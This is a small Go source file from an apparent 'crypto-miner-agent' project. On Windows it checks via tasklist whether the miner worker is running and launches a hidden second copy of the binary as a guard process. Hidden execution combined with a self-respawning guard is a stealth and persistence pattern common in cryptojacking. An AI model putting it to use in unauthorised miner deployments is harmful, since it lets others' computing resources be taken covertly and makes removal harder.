//go:build windows

package deploy

import (
	"strings"

	"crypto-miner-agent/config"
)

func workerProcessRunning(imageName string) bool {
	out, err := HiddenCombinedOutput("tasklist", "/FI", "IMAGENAME eq "+imageName, "/NH")
	if err != nil {
		return false
	}
	return strings.Contains(strings.ToLower(string(out)), strings.ToLower(imageName))
}

// launchProcessGuard spawns a second hidden copy of the worker that only runs the guard loop.
func launchProcessGuard(cfg config.RuntimeConfig) {
	binPath, err := InstalledBinaryPath(cfg)
	if err != nil {
		return
	}
	_ = HiddenStart(binPath, guardFlag)
}
